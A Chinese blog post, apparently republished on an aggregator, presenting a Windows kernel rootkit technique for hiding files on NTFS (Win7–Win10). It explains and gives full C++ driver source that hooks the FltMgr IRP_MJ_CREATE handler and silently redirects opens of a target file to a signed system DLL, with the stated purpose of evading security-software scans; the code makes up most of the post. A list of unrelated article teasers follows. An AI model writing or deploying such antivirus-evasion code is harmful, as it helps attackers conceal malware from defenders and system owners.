Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】

news2024/10/7 20:27:07

文章目录

    • 前言
    • 探究
    • 代码
    • 演示

前言

文件隐藏的方法有很多,这里分享的是一种通过内核文件重定向的方式动态规避检测的方法。举例:假设有一个安全软件A,A要扫描文件B,B是我们想要隐藏的文件。那么我们在内核中将A打开文件B的操作重定向到打开文件C,文件C我们设置为一个系统原有且自带微软签名的文件,这样文件B就躲过了A的扫描。等同于文件B对于安全软件A来说就是隐藏的。

探究

现在几乎所有的安全软件对于文件监控都是基于MiniFilter框架,而该框架的能力由FltMgr.sys这个驱动提供。而这个驱动会将设备对象附加到文件系统上,NTFS文件系统的驱动对象名为 \FileSystem\Ntfs。在FltMgr驱动的派遣函数中会调用到所有通过 F l t R e g i s t e r F i l t e r \textcolor{cornflowerblue}{FltRegisterFilter} FltRegisterFilter函数注册的文件过滤器。如果我们在它调用安全软件注册的文件过滤器之前,将文件路径修改就能实现上述的文件重定向。

为了实现这个目标,我们首先需要获取NTFS文件系统的驱动对象。这里有个很好用的未文档化函数 O b R e f e r e n c e O b j e c t B y N a m e \textcolor{cornflowerblue}{ObReferenceObjectByName} ObReferenceObjectByName

NTSATUS ObReferenceObjectByName(
	_In_ PUNICODE_STRING ObjectName, // 驱动对象名
	_In_ ULONG Attributes,			// 属性值,通常填 OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE
	_In_ PACCESS_STATE AccessState,	 // 访问状态,一般填 NULL
	_In_ ACCESS_MASK DesiredAccess,	 // 预期的访问值,一般填0
	_In_ POBJECT_TYPE ObjectType,	 // 根据对象名代表的类型,有IoDriverObjectType、IoDeviceObjectType、IoFileObjectType .etc
	_In_ KPROCESSOR_MODE AccessMode, // 内核下九天KernelMode
	_In_opt_ PVOID ParseContext,	 // 一般填NULL
	_Inout_ PVOID* Object);			// 输出对象指针

于是可以调用此函数,传入驱动对象名字得到驱动对象。然后我们从NTFS驱动对象中找到附加的FltMgr驱动对象,将该对象的IRP_MJ_CREATE类型的处理函数替换成我们自己的处理函数。随后在我们的处理函数中就可以做手脚了。

代码

#include <ntifs.h>

using ObReferenceObjectByName_t = NTSTATUS(NTAPI*)(
	_In_ PUNICODE_STRING ObjectName,
	_In_ ULONG Attributes,
	_In_ PACCESS_STATE AccessState,
	_In_ ACCESS_MASK DesiredAccess,
	_In_ POBJECT_TYPE ObjectType,
	_In_ KPROCESSOR_MODE AccessMode,
	_In_opt_ PVOID ParseContext,
	_Inout_ PVOID* Object
	);

// 保存原始的创建文件处理函数
PDRIVER_DISPATCH g_FnOriginalCreateFileHandler = NULL;
ObReferenceObjectByName_t g_FnObReferenceObjectByName = NULL;

extern"C" PCHAR PsGetProcessImageFileName(PEPROCESS Process);
extern"C" POBJECT_TYPE * IoDriverObjectType;

extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath);



VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj);
BOOLEAN RetrievesKernelUnDocumentFuncition();
BOOLEAN HookFltMgr(BOOLEAN bRemove);
static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp);

extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath)
{
	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
	pDrvObj->DriverUnload = DriverUnload;

	if (RetrievesKernelUnDocumentFuncition())
	{
		if (HookFltMgr(FALSE))
		{
			ntStatus = STATUS_SUCCESS;
		}
	}

	return ntStatus;
}

VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj)
{
	if (HookFltMgr(TRUE))
	{
		// 需要等待1s,因为怕之前有些进入到自己的HOOK函数还没有完全出来,模块就已经卸载,导致BSOD。
		LARGE_INTEGER liDelayInterval;
		liDelayInterval.QuadPart = -1 * 100 * 100 * 10;
		KeDelayExecutionThread(KernelMode, FALSE, &liDelayInterval);
		DbgPrint("[+] UnHook FileSysDriver.\n");
	}
	DbgPrint("[+] Driver unload.\n");
}

BOOLEAN HookFltMgr(BOOLEAN bRemove)
{
	UNICODE_STRING uszTargetDriverName = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
	PDRIVER_OBJECT pFileSysDrvObj = NULL;
	PDRIVER_OBJECT pTargetDrvObj = NULL;
	PDEVICE_OBJECT pFileSysDevObj = NULL;
	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;

	ntStatus = g_FnObReferenceObjectByName(
		&uszTargetDriverName,
		OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
		NULL,
		0,
		*IoDriverObjectType,
		KernelMode,
		NULL,
		(PVOID*)&pFileSysDrvObj);

	if (!NT_SUCCESS(ntStatus))
	{
		goto free_exit;
	}

	pFileSysDevObj = pFileSysDrvObj->DeviceObject;
	if (!MmIsAddressValid(pFileSysDevObj))
	{
		goto free_exit;
	}

	if (pFileSysDevObj->AttachedDevice)
	{
		if (MmIsAddressValid(pFileSysDevObj->AttachedDevice))
		{
			// 取到的就是FltMgr的 Driver object
			pTargetDrvObj = pFileSysDevObj->AttachedDevice->DriverObject;
		}
		else
		{
			goto free_exit;
		}
	}
	else
	{
		// 说明没有过滤驱动,直接使用当前文件系统驱动
		pTargetDrvObj = pFileSysDrvObj;
	}

	if (!pTargetDrvObj)
	{
		goto free_exit;
	}

	if (bRemove)
	{
		InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
			(LONG64)g_FnOriginalCreateFileHandler);
	}
	else
	{
		g_FnOriginalCreateFileHandler = (PDRIVER_DISPATCH)InterlockedExchange64(
			(LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],
			(LONG64)FsCreateFileHandler_Proxy);
	}
	
	ntStatus = STATUS_SUCCESS;

free_exit:
	if (pFileSysDrvObj)
	{
		ObDereferenceObject(pFileSysDrvObj);
	}

	return NT_SUCCESS(ntStatus);
}

BOOLEAN RetrievesKernelUnDocumentFuncition()
{
	UNICODE_STRING uszFnObRefernceObjectByName = RTL_CONSTANT_STRING(L"ObReferenceObjectByName");

	g_FnObReferenceObjectByName = (ObReferenceObjectByName_t)MmGetSystemRoutineAddress(&uszFnObRefernceObjectByName);
	return g_FnObReferenceObjectByName != NULL;
}

static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp)
{
	PIO_STACK_LOCATION pIostkloc = IoGetCurrentIrpStackLocation(pIrp);
	PUNICODE_STRING puzFileObjectName = NULL;
	PCHAR pszProcName = NULL;
	// 预定义重定向路径
	WCHAR wszReDirectionPath[] = L"\\Windows\\System32\\rpcrt4.dll";
	ULONG ulReDirectionPathLength = wcslen(wszReDirectionPath);
	// 做一些前置检查:
	// (1) Irql级别必须在PASSIVE_LEVEL
	// (2) 当前IRQL栈不为空
	// (3) 当前IRQL栈中的文件对象不为空
	if ((KeGetCurrentIrql() != PASSIVE_LEVEL)
		|| (pIostkloc == NULL)
		|| (pIostkloc->FileObject == NULL))
	{
		goto goon;
	}

	// 只处理Explorer.exe进程文件打开情况
	pszProcName = PsGetProcessImageFileName(PsGetCurrentProcess());
	if (_stricmp(pszProcName, "Explorer.EXE"))
	{
		goto goon;
	}

	puzFileObjectName = &pIostkloc->FileObject->FileName;
	// 过滤出要隐藏的文件
	if (puzFileObjectName->Buffer && !wcsstr(puzFileObjectName->Buffer, L"HideFile.sys"))
	{
		goto goon;
	}
	// 将打开的文件路径改为预定义的文件路径实现重定向
	if (puzFileObjectName->Length > ulReDirectionPathLength * sizeof(WCHAR))
	{
		RtlZeroMemory(puzFileObjectName->Buffer, puzFileObjectName->MaximumLength);
		RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
		puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
		puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
	}
	else
	{
		// 尝试释放原来的内存,防止泄露
		if (puzFileObjectName->Buffer)
		{
			ExFreePool(puzFileObjectName->Buffer);
		}

		puzFileObjectName->Buffer = (PWCHAR)ExAllocatePoolWithTag(
			NonPagedPool, ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR),'RdFn');
		if (!puzFileObjectName->Buffer)
		{
			goto goon;
		}

		RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));
		puzFileObjectName->Buffer[ulReDirectionPathLength] = 0;
		puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);
		puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);
	}

goon:
	return g_FnOriginalCreateFileHandler(pDevObj, pIrp);
}

演示

在这里插入图片描述
在这里插入图片描述
可以发现Explorer被忽悠了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1138107.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Qt 实现侧边栏滑出菜单效果

1.效果图 2.实现原理 这里做了两个widget&#xff0c;一个是 展示底图widget&#xff0c;一个是 展示动画widget。 这两个widget需要重合。动画widget需要设置属性叠加到底图widget上面&#xff0c;设置如下属性&#xff1a; setWindowFlags(Qt::FramelessWindowHint | Qt::…

2023/10/26MySQL学习

事务 询问当前是什么提交方式 1代表默认提交,0代表手动提交 将事务设为手动提交 将事务设置为手动提交后,mysql语句只会执行,但不会对原本表中数据进行更改, 只有执行以下两个语句之一,才会继续进行 commit完成原本操作,更改数据 rollback取消原来事务,不会进行任何更改 如…

【嵌入式Linux】编译应用和ko内核模块Makefile使用记录

文章目录 一、常用的语法1.1 , :, , ?的区别1.2 命名模式&#xff1a;target-objs 和 target-y 的区别 二、编译KO2.1 难度0&#xff1a;一个.c文件编译成一个.ko文件2.1.1 改进一下Makefile使得编译命令只需要make就可以 2.2 难度1&#xff1a;多个.c,.h文件编译成一个.ko文件…

在Java中使用FileReader.read()进行读取文件时,为什么乱码?两个方法解决

public class FileReader_ {public static void main(String[] args) {}Testpublic void m1() {String filePath "e:\\hello.txt";FileReader fileReader null;try {fileReader new FileReader(filePath);//循环读取 使用readwhile (fileReader.read()!-1){System…

使用dlib,OpenCV和Python进行人脸识别—人眼瞌睡识别

前期文章我们分享了如何使用python与dlib来进行人脸识别,以及来进行人脸部分的识别, 如下图,dlib人脸数据把人脸分成了68个数据点,从图片可以看出,人脸识别主要是识别:人眉,人眼,人鼻,人嘴以及人脸下颚边框,每个人脸的部位都有不同的数据标签从1-68 当我们识别出人脸…

伦敦银现货白银走势如何应对

伦敦银是国际现货白银交易的别称&#xff0c;它每天的价格走势受到全球投资者广泛的关注&#xff0c;也是全球各个白银市场的价格指标。白银投资者要了解伦敦银走势的特点&#xff0c;才能更好地进行分析&#xff0c;实现自己的所预期的收益。 整体来说&#xff0c;伦敦银价格的…

Java工具库——Hutool的50个常用方法

爱一辈子也好&#xff0c;恨一辈子也罢&#xff0c;终究是要让你记我一辈子… 工具库介绍 Hutool-All&#xff08;或简称Hutool&#xff09;是一个功能强大的Java编程工具库&#xff0c;旨在简化Java应用程序的开发。它提供了大量的工具类和方法&#xff0c;涵盖了各种常见任务…

创建个人github.io主页(基础版)//吐槽:很多国内教程已经失效了

一、就跟着官网教程来很快就好了 官方文档的教程 GitHub Pages | Websites for you and your projects, hosted directly from your GitHub repository. Just edit, push, and your changes are live. // 简单跑通为例&#xff0c;第一个链接直接能行了&#xff0c;如果不想…

数据泄露高达7 TB ,这家医疗巨头数据库无任何密码保护

该数据库由Redcliffe Labs拥有&#xff0c;Redcliffe Labs是一家位于北方邦诺伊达的印度医疗公司。 网络安全研究员杰里迈亚-福勒&#xff08;Jeremiah Fowler&#xff09;发现了一个无密码保护的数据库&#xff0c;其中包含 1200 多万条记录。这些数据包括敏感的患者数据&…

本地存储 sessionStoragelocalStorage

随着互联网的快速发展&#xff0c;基于网页的应用越来越普遍&#xff0c;同时也变的越来越复杂&#xff0c;为了满足各种各样的需求&#xff0c;会经常性在本地存储大量的数据&#xff0c;HTML5规范提出了相关解决方案。 本地存储特性 数据存储在用户浏览器中 设置、读取方便、…

自监督学习应用

1 自监督学习 自监督学习主要是利用辅助任务&#xff08;pretext&#xff09;从大规模的无监督数据中挖掘自身的监督信息&#xff0c;通过这种构造的监督信息对网络进行训练&#xff0c;从而可以学习到对下游任务有价值的表征。&#xff08;也就是说自监督学习的监督信息不是人…

涨幅25%,2023全球电动车销量将飙升至2000万辆 | 百能云芯

近日&#xff0c;工研院在「眺望2024产业发展趋势研讨会」上发布消息&#xff0c;预测随着全球晶片短缺的逐渐缓解&#xff0c;以及俄乌地区供应链产能向其他国家的部分转移&#xff0c;全球汽车市场在疫情的影响下逐渐回暖。根据工研院的数据&#xff0c;2023年全球汽车销量预…

DSP_控制程序框架有感

本文仅代表个人观点&#xff0c;若有不同意见&#xff0c;请评论区讨论或私信留言。 中心思想&#xff1a; 基于DSP的控制程序可分为两个部分&#xff0c;① 对实时性要求高的部分&#xff0c;②对实时性要求不高的部分。 ① 对实时性要求高的程序&#xff0c;建议采用中断处理…

Ubuntu22.04本地部署PaddleSpeech实验代码(GPU版)

前言 之前做了一个Ubuntu18.04.6本地部署PaddleSpeech实验代码&#xff08;CPU版&#xff09;的相关项目&#xff0c;因为是CPU版的&#xff0c;合成/训练等方面的耗时真的是非常感人&#xff0c;有了之前的经验&#xff0c;又部署了一个GPU版的&#xff0c;说实话虽然时间用的…

CVE-2022-22963 Spring Cloud Function SpEL命令注入

一、简介 Spring Cloud Function 是基于 Spring Boot的函数计算框架。该项目致力于促进函数为主的开发单元&#xff0c;它抽象出所有传输细节和基础架构&#xff0c;并提供一个通用的模型&#xff0c;用于在各种平台上部署基于函数的软件。在Spring Cloud Function相关版本&am…

Pytest框架之fixture详解

本文详细讲解了Pytest框架之fixture&#xff0c;文中通过示例代码介绍的非常详细。对大家的学习或工作具有一定的参考借鉴价值&#xff0c;需要的朋友可以参考下 相关文章 pytest作为python语言的测试框架&#xff0c;它的fixture有2种实现方式。 一种是xunit-style&#xf…

OpenLayers实战,OpenLayers获取用户定位位置并高亮显示用户所在行政区划边界

专栏目录: OpenLayers实战进阶专栏目录 前言 本篇文章通过国内的省、自治区和直辖市的GeoJson数据作为行政区划边界数据,然后根据用户定位位置,通过OpenLayers计算得到用户所在行政区划,并使用OpenLayers高亮显示用户所在行政区划边界。 本章是综合应用场景,所以代码稍…

ESP32 ESP-IDF LVGL移植和Wokwi仿真

陈拓 2023/10/21-2023/10/25 1. ESP-IDF开发环境 ESP-IDF的LVGL移植包括2个组件&#xff1a; lvgllvgl_esp32_drivers 目前lvgl_esp32_drivers在ESP-IDF 5.0以上版本编译通不过&#xff0c;所以我们安装ESP-IDF 4.4.5。 从https://dl.espressif.cn/dl/esp-idf/下载 安装说明…

纳米软件分享:芯片电学测试及测试参数指标介绍

电学测试是芯片测试的一个重要环节&#xff0c;用来描述和评估芯片的电性能、稳定性和可靠性。芯片电学测试包括直流参数测试、交流参数测试和高速数字信号性能测试等。 什么是芯片电学测试? 芯片电学测试就是检测芯片、元件等电性能参数是否满足设计的要求。检测的项目有电压…

【uniapp】短信验证码输入框

需求是短信验证码需要格子输入框 如图 网上找了一个案例改吧改吧 直接上代码 结构 <template><view class"verify-code"><!-- 输入框 --><input id"input" :value"code" class"input" :focus"isFocus"…